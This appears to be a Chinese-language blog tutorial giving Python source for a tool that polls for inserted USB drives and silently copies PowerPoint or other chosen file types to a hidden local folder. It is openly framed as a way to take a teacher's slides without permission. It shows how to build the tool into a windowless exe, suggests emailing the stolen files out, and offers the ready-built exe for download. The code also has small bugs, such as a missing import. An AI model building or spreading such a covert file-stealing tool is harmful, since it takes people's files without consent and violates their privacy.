聲明:該教程僅用於學習,不可用於它用
大學的老師,爲了讓大家每節課都能夠積極去上課。
第一節課特意聲明,課件是不會發放給大家的,這讓很多打算最後兩星期通過看課件學習的人懵逼了,爲此這個工具就出現了
直接開始教程
首先需要安裝兩個庫 psutil, shutil
使用pip安裝一下就可以了
確定需求:複製插入的U盤裏的文件
技術點
1、掃描磁盤,檢查是否有可移動盤
2、遍歷檢查U盤裏的文件
3、找到特定類型文件
4、複製文件到指定盤的文件夾
5、打包成exe
就這五步,就可以實現了這個小功能
下面給出代碼,只可以複製ppt文件版
# _*_ coding: utf-8 _*_
# 微信公衆號:python學習專欄
from time import sleep
from shutil import copy
from psutil import disk_partitions
def copy_file(root,file_type=['.ppt', '.pptx'],file_dir='D:/USB'):
try:
for i in os.listdir(root): #os.listdir(root) 讀取root目錄下的文件和目錄
ext=os.path.splitext(i) #獲取文件後綴
if os.path.isfile(root+'/'+i): #判斷是否爲文件
if ext[1] in file_type: #判斷是否是需要獲取的文件類型
if not os.path.exists(file_dir): #查看文件夾是否存在,不存在則創建
os.mkdir(file_dir)
copy(root+'/'+i, file_dir) #複製文件
else:
copy_file(root +'/' +i,file_type) #遞歸檢查文件夾
except Exception as e:
pass
if __name__ == "__main__":
while True:
# 檢測所有的驅動器
for item in disk_partitions():
if 'removable' in item.opts: #判斷是否有U盤插入
root = item.device.strip('\\')
copy_file(root)
# 設置休眠時間
sleep(20)
可複雜自己指定的文件類型
# -*- coding: utf-8 -*-
# 微信公衆號 python學習專欄
import os
from time import sleep
from shutil import copy
from psutil import disk_partitions
def copy_file(root,file_type='.ppt',file_dir='D:/USB'):
try:
for i in os.listdir(root): #os.listdir(root) 讀取root目錄下的文件和目錄
ext=os.path.splitext(i) #獲取文件後綴
if os.path.isfile(root+'/'+i): #判斷是否爲文件
if ext[1] == file_type: #判斷是否是需要獲取的文件類型
if not os.path.exists(file_dir): #查看文件夾是否存在,不存在則創建
os.mkdir(file_dir)
copy(root+'/'+i, file_dir)
else:
copy_file(root +'/' +i,file_type)
except Exception as e:
print(e)
if __name__ == "__main__":
print('是否需要自定義複製文件類型 yes/no 默認複製ppt類型')
define_type = input()
if define_type in ['yes','y','YES','Y','Yes']:
print('''
輸入需要複製的文件類型
如複製ppt則輸入 .ppt
''')
file_type = input('輸入需要複製的文件類型')
print('是否需要自定義文件複製後的存放路徑 yes/no 默認 D:/USB ')
define_dir = input()
if define_dir in ['yes','y','YES','Y','Yes']:
print('''
輸入存放文件路徑
如 : D:/USB/USB
''')
file_dir = input('輸入需要複製的文件類型')
if define_type in ['yes','y','YES','Y','Yes']:
if define_dir in ['yes','y','YES','Y','Yes']:
while True:
# 設置休眠時間
sleep(1)
# 檢測所有的驅動器
for item in disk_partitions():
if 'removable' in item.opts: #判斷是否有U盤插入
root = item.device.strip('\\')
copy_file(root,file_type,file_dir)
else:
while True:
# 設置休眠時間
sleep(1)
# 檢測所有的驅動器
for item in disk_partitions():
if 'removable' in item.opts: #判斷是否有U盤插入
root = item.device.strip('\\')
copy_file(root,file_type)
else:
while True:
# 檢測所有的驅動器
for item in disk_partitions():
if 'removable' in item.opts: #判斷是否有U盤插入
root = item.device.strip('\\')
copy_file(root)
# 設置休眠時間
sleep(20)
打包
安裝pyinstaller
在cmd中打包,
執行
pyinstaller -F -i filename.ico -w 程序文件名.py
-i filename.ico 這是指定圖標
-w 運行時不顯示窗口
-h,--help | 查看該模塊的幫助信息 |
---|---|
-F,-onefile | 產生單個的可執行文件 |
-D,--onedir | 產生一個目錄(包含多個文件)作爲可執行程序 |
-a,--ascii | 不包含 Unicode 字符集支持 |
-d,--debug | 產生 debug 版本的可執行文件 |
-w,--windowed,--noconsolc | 指定程序運行時不顯示命令行窗口(僅對 Windows 有效) |
-c,--nowindowed,--console | 指定使用命令行窗口運行程序(僅對 Windows 有效) |
-o DIR,--out=DIR | 指定 spec 文件的生成目錄。如果沒有指定,則默認使用當前目錄來生成 spec 文件 |
-p DIR,--path=DIR | 設置 Python 導入模塊的路徑(和設置 PYTHONPATH 環境變量的作用相似)。也可使用路徑分隔符(Windows 使用分號,Linux 使用冒號)來分隔多個路徑 |
-n NAME,--name=NAME | 指定項目(產生的 spec)名字。如果省略該選項,那麼第一個腳本的主文件名將作爲 spec 的名字 |
當然我們還可以加上一個 郵件發送,獲取的文件自動發送到指定郵箱
可以自己嘗試一下
這個小工具已經打包成exe
可在公衆號後臺回覆 : 666
可直接獲取
python學習專欄
python大神都在關注